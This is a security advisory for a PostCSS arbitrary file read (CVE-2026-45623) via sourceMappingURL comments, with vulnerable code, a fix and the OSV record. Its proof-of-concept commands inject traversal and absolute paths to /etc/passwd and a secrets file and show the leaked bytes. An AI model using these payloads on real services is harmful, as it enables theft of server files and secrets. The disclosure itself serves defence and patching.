GHSA-6G55-P6WH-862Q
Vulnerability from github – Published: 2026-07-23 15:06 – Updated: 2026-07-23 15:06Summary
PostCSS's PreviousMap parses the /*# sourceMappingURL=PATH */ comment from any CSS string passed to process() and dereferences PATH against the local filesystem with no scheme, allowlist, or traversal check. An attacker who controls the CSS input can cause the host process to read any file readable by Node and leak the first ~10 bytes of its content through the resulting JSON.parse SyntaxError message. The bug also yields a precise file-existence oracle and a controllable-read primitive that may be combined with large-file targets for DoS. The behaviour is triggered with PostCSS's default options — no from, no map, no plugins required — and is therefore reachable from any pipeline that runs untrusted CSS through PostCSS (CMS themes, user-uploaded styles, browser-extension/userstyle processors, build pipelines for third-party packages, blog comment renderers, etc.).
Details
The dangerous chain lives in lib/previous-map.js and is wired into every Input construction at lib/input.js:70-77.
Input constructor (lib/input.js:70-77):
if (pathAvailable && sourceMapAvailable) {
let map = new PreviousMap(this.css, opts)
if (map.text) {
this.map = map
let file = map.consumer().file
if (!this.file && file) this.file = this.mapResolve(file)
}
}
PreviousMap constructor (lib/previous-map.js:17-29):
constructor(css, opts) {
if (opts.map === false) return
this.loadAnnotation(css)
this.inline = this.startWith(this.annotation, 'data:')
let prev = opts.map ? opts.map.prev : undefined
let text = this.loadMap(opts.from, prev)
...
}
Note opts.map === false is the only short-circuit. With default options (opts.map === undefined), the rest of the constructor — including the filesystem read — executes.
loadAnnotation (lib/previous-map.js:72-84) extracts the URL without sanitisation:
loadAnnotation(css) {
let comments = css.match(/\/\*\s*# sourceMappingURL=/g)
if (!comments) return
let start = css.lastIndexOf(comments.pop())
let end = css.indexOf('*/', start)
if (start > -1 && end > -1) {
this.annotation = this.getAnnotationURL(css.substring(start, end))
}
}
getAnnotationURL (lib/previous-map.js:59-61) only strips the /*# sourceMappingURL= prefix and trims whitespace — no scheme check, no path normalisation, no allowlist.
loadMap (lib/previous-map.js:124-128) — when prev is absent and the annotation is not an inline data: URI:
} else if (this.annotation) {
let map = this.annotation
if (file) map = join(dirname(file), map)
return this.loadFile(map)
}
- If
opts.fromis unset,fileis undefined and the raw attacker-supplied path (e.g./etc/passwd) is used directly. - If
opts.fromis set,path.join(dirname(file), attackerPath)is used.path.joindoes not block..segments, so../../../../../etc/passwdresolves outside the intended directory.
loadFile (lib/previous-map.js:86-92) is the sink:
loadFile(path) {
this.root = dirname(path)
if (existsSync(path)) {
this.mapFile = path
return readFileSync(path, 'utf-8').toString().trim()
}
}
The bytes are stored in this.text. Input immediately invokes map.consumer() (lib/input.js:74), which constructs a SourceMapConsumer (lib/previous-map.js:33). When the file is not valid source-map JSON (the common case), source-map-js calls JSON.parse, and V8's SyntaxError message embeds the first ~10 bytes of the file content:
Unexpected token 'r', "root:x:0:0"... is not valid JSON
This error is propagated back to the caller. Any application that surfaces PostCSS errors (logs, HTTP 500 responses, build-tool output, debug pages) discloses those bytes to the attacker.
Trust-boundary analysis:
* Attacker controls: CSS input passed to postcss().process(css, opts?).
* Server resources: any file readable by the Node process — typically including app config, environment files, SSH keys, /etc/passwd, /proc/self/environ, etc.
* No mitigations: there is no path validation, scheme allowlist, traversal check, or symlink check. The only relevant check (startWith(annotation, 'data:')) routes inline URIs to decodeInline; everything else hits loadFile.
Primitives obtained:
* (a) Arbitrary file read — bytes loaded into Node memory.
* (b) Information disclosure — first ~10 bytes leaked via JSON.parse SyntaxError message.
* (c) File-existence oracle — non-existent paths return silently from loadFile (existsSync is false → returns undefined → no map text → no consumer call → no error). Existent non-JSON paths throw. Existent JSON paths succeed silently. Three distinguishable states.
* (d) DoS primitive — directing the read at /dev/zero, very large files, or device files can stall or crash the process.
PoC
All commands executed against this repository's HEAD (postcss 8.5.10) on Node v22.12.0.
Vector 1 — Absolute path, default options (no from, no map):
$ node -e 'const p=require("postcss"); \
try { p().process("a{color:red}\n/*# sourceMappingURL=/etc/passwd */"); } \
catch(e){console.log(e.message)}'
Unexpected token 'r', "root:x:0:0"... is not valid JSON
The first 10 bytes of /etc/passwd (root:x:0:0) are leaked.
Vector 2 — Relative .. traversal with opts.from set (simulates a build pipeline that pins from to the source file):
$ node -e 'const p=require("postcss"); \
p().process("a{color:red}\n/*# sourceMappingURL=../../../../../etc/passwd */", \
{from:"/var/www/html/styles/main.css", map:{inline:false}}) \
.catch(e=>console.log(e.message))'
Unexpected token 'r', "root:x:0:0"... is not valid JSON
path.join('/var/www/html/styles', '../../../../../etc/passwd') resolves to /etc/passwd.
Vector 3 — File-existence oracle:
# Existing non-JSON file → throws (file confirmed to exist)
$ node -e 'require("postcss")().process("a{}\n/*# sourceMappingURL=/etc/passwd */")'
SyntaxError: Unexpected token 'r', "root:x:0:0"... is not valid JSON
# Non-existent file → returns silently (file confirmed absent)
$ node -e 'r=require("postcss")().process("a{}\n/*# sourceMappingURL=/no/such/file */"); console.log("ok")'
ok
Vector 4 — Custom file-content leak:
$ printf 'API_KEY=sk-secret-12345\n' > /tmp/server-secret.env
$ node -e 'require("postcss")().process("a{}\n/*# sourceMappingURL=/tmp/server-secret.env */")' 2>&1 | head -1
SyntaxError: Unexpected token 'A', "API_KEY=sk"... is not valid JSON
The first 10 bytes of /tmp/server-secret.env (API_KEY=sk) are leaked — sufficient to confirm a token's presence and, in many cases, recover its prefix.
Filesystem-call trace (proves the read happens with no opts at all):
const fs = require('fs');
const orig = fs.readFileSync;
fs.readFileSync = function(p){
if (typeof p==='string' && p.startsWith('/etc')) console.log('[FILE READ]:', p);
return orig.apply(this, arguments);
};
require('postcss')().process('a{}\n/*# sourceMappingURL=/etc/hostname */');
// → [FILE READ]: /etc/hostname
// → SyntaxError: Unexpected token 'D', "Debian-tri"... is not valid JSON
Impact
- Arbitrary file read of any file readable by the Node process from any CSS-processing context that accepts attacker-influenced CSS. PostCSS has hundreds of millions of weekly npm downloads and is the standard CSS processor for build tools (webpack
postcss-loader, vite, parcel, Next.js, Gatsby, etc.) and for runtime CSS-handling libraries (CSS Modules tools, CSS minifiers, theme processors). Any pipeline that runs untrusted user CSS — CMS theme uploads, user-styled blog posts, browser-extension/userstyle services, multi-tenant build farms, third-party-package build pipelines — is exposed. - Confidentiality leak of the first ~10 bytes of the targeted file via
JSON.parseSyntaxError. This is enough to recover SSH-key headers, environment-variable prefixes (API_KEY=sk…),/etc/passwdrecords, the start of/proc/self/environ, and other high-value secrets, and to fingerprint the host (Debian-tri…from/etc/hostname). - File-existence oracle with three distinguishable response states (silent success,
JSON.parseerror, no-such-file silence), enabling reconnaissance of the host filesystem layout and confirmation of installed software, user accounts, and configuration files. - DoS by targeting
/dev/zero,/proc/kcore, very large files, or named pipes —readFileSyncis a synchronous, unbounded read. - Default-on: triggered with
postcss().process(css)and no options. The only configuration that disables the bug is the explicit, undocumented-for-this-purpose{ map: false }.
Recommended Fix
The root cause is that loadFile accepts any path the attacker supplies inside a CSS comment. The annotation is meant for tooling, not for production CSS processing of untrusted input. Two layered fixes:
- Refuse traversal/absolute paths in
loadMap(defence-in-depth):
js
// lib/previous-map.js
loadMap(file, prev) {
if (prev === false) return false
if (prev) { /* unchanged */ }
else if (this.inline) {
return this.decodeInline(this.annotation)
} else if (this.annotation) {
let annotation = this.annotation
// Reject schemes (other than data:, handled above) and absolute paths.
if (/^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(annotation)) return
if (require('path').isAbsolute(annotation)) return
if (!file) return // No base path → cannot safely resolve.
const base = require('path').resolve(require('path').dirname(file))
const resolved = require('path').resolve(base, annotation)
// Refuse anything that escapes the base directory.
if (resolved !== base && !resolved.startsWith(base + require('path').sep)) {
return
}
return this.loadFile(resolved)
}
}
- Require explicit opt-in to follow on-disk source-map annotations: gate the
loadFile(map)call inloadMapbehind an option such asopts.map.annotation === trueoropts.map.followAnnotation === true. Today, the only way to opt out is{ map: false }, which also disables in-memory previous-map handling. Inverting the default — only follow disk-resident annotations when explicitly asked — eliminates the entire attack surface for callers that pass untrusted CSS, while preserving build-tool use cases where the annotation is trusted.
A user-facing changelog entry should warn that postcss().process(untrustedCss) previously read attacker-controlled paths, and recommend auditing applications that surfaced PostCSS errors to end users.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.5.11"
},
"package": {
"ecosystem": "npm",
"name": "postcss"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.5.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45623"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-23T15:06:16Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nPostCSS\u0027s `PreviousMap` parses the `/*# sourceMappingURL=PATH */` comment from any CSS string passed to `process()` and dereferences `PATH` against the local filesystem with no scheme, allowlist, or traversal check. An attacker who controls the CSS input can cause the host process to read any file readable by Node and leak the first ~10 bytes of its content through the resulting `JSON.parse` `SyntaxError` message. The bug also yields a precise file-existence oracle and a controllable-read primitive that may be combined with large-file targets for DoS. The behaviour is triggered with PostCSS\u0027s default options \u2014 no `from`, no `map`, no plugins required \u2014 and is therefore reachable from any pipeline that runs untrusted CSS through PostCSS (CMS themes, user-uploaded styles, browser-extension/userstyle processors, build pipelines for third-party packages, blog comment renderers, etc.).\n\n## Details\n\nThe dangerous chain lives in `lib/previous-map.js` and is wired into every `Input` construction at `lib/input.js:70-77`.\n\n`Input` constructor (`lib/input.js:70-77`):\n\n```js\nif (pathAvailable \u0026\u0026 sourceMapAvailable) {\n let map = new PreviousMap(this.css, opts)\n if (map.text) {\n this.map = map\n let file = map.consumer().file\n if (!this.file \u0026\u0026 file) this.file = this.mapResolve(file)\n }\n}\n```\n\n`PreviousMap` constructor (`lib/previous-map.js:17-29`):\n\n```js\nconstructor(css, opts) {\n if (opts.map === false) return\n this.loadAnnotation(css)\n this.inline = this.startWith(this.annotation, \u0027data:\u0027)\n\n let prev = opts.map ? opts.map.prev : undefined\n let text = this.loadMap(opts.from, prev)\n ...\n}\n```\n\nNote `opts.map === false` is the only short-circuit. With default options (`opts.map === undefined`), the rest of the constructor \u2014 including the filesystem read \u2014 executes.\n\n`loadAnnotation` (`lib/previous-map.js:72-84`) extracts the URL **without sanitisation**:\n\n```js\nloadAnnotation(css) {\n let comments = css.match(/\\/\\*\\s*# sourceMappingURL=/g)\n if (!comments) return\n let start = css.lastIndexOf(comments.pop())\n let end = css.indexOf(\u0027*/\u0027, start)\n if (start \u003e -1 \u0026\u0026 end \u003e -1) {\n this.annotation = this.getAnnotationURL(css.substring(start, end))\n }\n}\n```\n\n`getAnnotationURL` (`lib/previous-map.js:59-61`) only strips the `/*# sourceMappingURL=` prefix and trims whitespace \u2014 no scheme check, no path normalisation, no allowlist.\n\n`loadMap` (`lib/previous-map.js:124-128`) \u2014 when `prev` is absent and the annotation is not an inline `data:` URI:\n\n```js\n} else if (this.annotation) {\n let map = this.annotation\n if (file) map = join(dirname(file), map)\n return this.loadFile(map)\n}\n```\n\n* If `opts.from` is unset, `file` is undefined and the raw attacker-supplied path (e.g. `/etc/passwd`) is used directly.\n* If `opts.from` is set, `path.join(dirname(file), attackerPath)` is used. `path.join` does **not** block `..` segments, so `../../../../../etc/passwd` resolves outside the intended directory.\n\n`loadFile` (`lib/previous-map.js:86-92`) is the sink:\n\n```js\nloadFile(path) {\n this.root = dirname(path)\n if (existsSync(path)) {\n this.mapFile = path\n return readFileSync(path, \u0027utf-8\u0027).toString().trim()\n }\n}\n```\n\nThe bytes are stored in `this.text`. `Input` immediately invokes `map.consumer()` (`lib/input.js:74`), which constructs a `SourceMapConsumer` (`lib/previous-map.js:33`). When the file is not valid source-map JSON (the common case), `source-map-js` calls `JSON.parse`, and V8\u0027s `SyntaxError` message embeds the first ~10 bytes of the file content:\n\n```\nUnexpected token \u0027r\u0027, \"root:x:0:0\"... is not valid JSON\n```\n\nThis error is propagated back to the caller. Any application that surfaces PostCSS errors (logs, HTTP 500 responses, build-tool output, debug pages) discloses those bytes to the attacker.\n\nTrust-boundary analysis:\n* Attacker controls: CSS input passed to `postcss().process(css, opts?)`.\n* Server resources: any file readable by the Node process \u2014 typically including app config, environment files, SSH keys, `/etc/passwd`, `/proc/self/environ`, etc.\n* No mitigations: there is no path validation, scheme allowlist, traversal check, or symlink check. The only relevant check (`startWith(annotation, \u0027data:\u0027)`) routes inline URIs to `decodeInline`; everything else hits `loadFile`.\n\nPrimitives obtained:\n* (a) **Arbitrary file read** \u2014 bytes loaded into Node memory.\n* (b) **Information disclosure** \u2014 first ~10 bytes leaked via `JSON.parse` `SyntaxError` message.\n* (c) **File-existence oracle** \u2014 non-existent paths return silently from `loadFile` (`existsSync` is false \u2192 returns undefined \u2192 no map text \u2192 no consumer call \u2192 no error). Existent non-JSON paths throw. Existent JSON paths succeed silently. Three distinguishable states.\n* (d) **DoS primitive** \u2014 directing the read at `/dev/zero`, very large files, or device files can stall or crash the process.\n\n## PoC\n\nAll commands executed against this repository\u0027s HEAD (postcss 8.5.10) on Node v22.12.0.\n\n**Vector 1 \u2014 Absolute path, default options (no `from`, no `map`):**\n\n```bash\n$ node -e \u0027const p=require(\"postcss\"); \\\n try { p().process(\"a{color:red}\\n/*# sourceMappingURL=/etc/passwd */\"); } \\\n catch(e){console.log(e.message)}\u0027\nUnexpected token \u0027r\u0027, \"root:x:0:0\"... is not valid JSON\n```\n\nThe first 10 bytes of `/etc/passwd` (`root:x:0:0`) are leaked.\n\n**Vector 2 \u2014 Relative `..` traversal with `opts.from` set (simulates a build pipeline that pins `from` to the source file):**\n\n```bash\n$ node -e \u0027const p=require(\"postcss\"); \\\n p().process(\"a{color:red}\\n/*# sourceMappingURL=../../../../../etc/passwd */\", \\\n {from:\"/var/www/html/styles/main.css\", map:{inline:false}}) \\\n .catch(e=\u003econsole.log(e.message))\u0027\nUnexpected token \u0027r\u0027, \"root:x:0:0\"... is not valid JSON\n```\n\n`path.join(\u0027/var/www/html/styles\u0027, \u0027../../../../../etc/passwd\u0027)` resolves to `/etc/passwd`.\n\n**Vector 3 \u2014 File-existence oracle:**\n\n```bash\n# Existing non-JSON file \u2192 throws (file confirmed to exist)\n$ node -e \u0027require(\"postcss\")().process(\"a{}\\n/*# sourceMappingURL=/etc/passwd */\")\u0027\nSyntaxError: Unexpected token \u0027r\u0027, \"root:x:0:0\"... is not valid JSON\n\n# Non-existent file \u2192 returns silently (file confirmed absent)\n$ node -e \u0027r=require(\"postcss\")().process(\"a{}\\n/*# sourceMappingURL=/no/such/file */\"); console.log(\"ok\")\u0027\nok\n```\n\n**Vector 4 \u2014 Custom file-content leak:**\n\n```bash\n$ printf \u0027API_KEY=sk-secret-12345\\n\u0027 \u003e /tmp/server-secret.env\n$ node -e \u0027require(\"postcss\")().process(\"a{}\\n/*# sourceMappingURL=/tmp/server-secret.env */\")\u0027 2\u003e\u00261 | head -1\nSyntaxError: Unexpected token \u0027A\u0027, \"API_KEY=sk\"... is not valid JSON\n```\n\nThe first 10 bytes of `/tmp/server-secret.env` (`API_KEY=sk`) are leaked \u2014 sufficient to confirm a token\u0027s presence and, in many cases, recover its prefix.\n\n**Filesystem-call trace** (proves the read happens with no opts at all):\n\n```js\nconst fs = require(\u0027fs\u0027);\nconst orig = fs.readFileSync;\nfs.readFileSync = function(p){\n if (typeof p===\u0027string\u0027 \u0026\u0026 p.startsWith(\u0027/etc\u0027)) console.log(\u0027[FILE READ]:\u0027, p);\n return orig.apply(this, arguments);\n};\nrequire(\u0027postcss\u0027)().process(\u0027a{}\\n/*# sourceMappingURL=/etc/hostname */\u0027);\n// \u2192 [FILE READ]: /etc/hostname\n// \u2192 SyntaxError: Unexpected token \u0027D\u0027, \"Debian-tri\"... is not valid JSON\n```\n\n## Impact\n\n* **Arbitrary file read** of any file readable by the Node process from any CSS-processing context that accepts attacker-influenced CSS. PostCSS has hundreds of millions of weekly npm downloads and is the standard CSS processor for build tools (webpack `postcss-loader`, vite, parcel, Next.js, Gatsby, etc.) and for runtime CSS-handling libraries (CSS Modules tools, CSS minifiers, theme processors). Any pipeline that runs untrusted user CSS \u2014 CMS theme uploads, user-styled blog posts, browser-extension/userstyle services, multi-tenant build farms, third-party-package build pipelines \u2014 is exposed.\n* **Confidentiality leak** of the first ~10 bytes of the targeted file via `JSON.parse` `SyntaxError`. This is enough to recover SSH-key headers, environment-variable prefixes (`API_KEY=sk\u2026`), `/etc/passwd` records, the start of `/proc/self/environ`, and other high-value secrets, and to fingerprint the host (`Debian-tri\u2026` from `/etc/hostname`).\n* **File-existence oracle** with three distinguishable response states (silent success, `JSON.parse` error, no-such-file silence), enabling reconnaissance of the host filesystem layout and confirmation of installed software, user accounts, and configuration files.\n* **DoS** by targeting `/dev/zero`, `/proc/kcore`, very large files, or named pipes \u2014 `readFileSync` is a synchronous, unbounded read.\n* **Default-on**: triggered with `postcss().process(css)` and no options. The only configuration that disables the bug is the explicit, undocumented-for-this-purpose `{ map: false }`.\n\n## Recommended Fix\n\nThe root cause is that `loadFile` accepts any path the attacker supplies inside a CSS comment. The annotation is meant for tooling, not for production CSS processing of untrusted input. Two layered fixes:\n\n1. **Refuse traversal/absolute paths in `loadMap`** (defence-in-depth):\n\n ```js\n // lib/previous-map.js\n loadMap(file, prev) {\n if (prev === false) return false\n if (prev) { /* unchanged */ }\n else if (this.inline) {\n return this.decodeInline(this.annotation)\n } else if (this.annotation) {\n let annotation = this.annotation\n // Reject schemes (other than data:, handled above) and absolute paths.\n if (/^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(annotation)) return\n if (require(\u0027path\u0027).isAbsolute(annotation)) return\n if (!file) return // No base path \u2192 cannot safely resolve.\n const base = require(\u0027path\u0027).resolve(require(\u0027path\u0027).dirname(file))\n const resolved = require(\u0027path\u0027).resolve(base, annotation)\n // Refuse anything that escapes the base directory.\n if (resolved !== base \u0026\u0026 !resolved.startsWith(base + require(\u0027path\u0027).sep)) {\n return\n }\n return this.loadFile(resolved)\n }\n }\n ```\n\n2. **Require explicit opt-in to follow on-disk source-map annotations**: gate the `loadFile(map)` call in `loadMap` behind an option such as `opts.map.annotation === true` or `opts.map.followAnnotation === true`. Today, the only way to opt out is `{ map: false }`, which also disables in-memory previous-map handling. Inverting the default \u2014 only follow disk-resident annotations when explicitly asked \u2014 eliminates the entire attack surface for callers that pass untrusted CSS, while preserving build-tool use cases where the annotation is trusted.\n\nA user-facing changelog entry should warn that `postcss().process(untrustedCss)` previously read attacker-controlled paths, and recommend auditing applications that surfaced PostCSS errors to end users.",
"id": "GHSA-6g55-p6wh-862q",
"modified": "2026-07-23T15:06:16Z",
"published": "2026-07-23T15:06:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/postcss/postcss/security/advisories/GHSA-6g55-p6wh-862q"
},
{
"type": "WEB",
"url": "https://github.com/postcss/postcss/commit/aaec7b78b3ce2792585b4b300ef1bd5dd5b3e8ad"
},
{
"type": "WEB",
"url": "https://github.com/postcss/postcss/commit/c64b7488d2731dfa16213739b42c34faf5a9eba3"
},
{
"type": "PACKAGE",
"url": "https://github.com/postcss/postcss"
},
{
"type": "WEB",
"url": "https://github.com/postcss/postcss/releases/tag/8.5.12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "PostCSS: Arbitrary file read and information disclosure via attacker-controlled sourceMappingURL in CSS comments"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.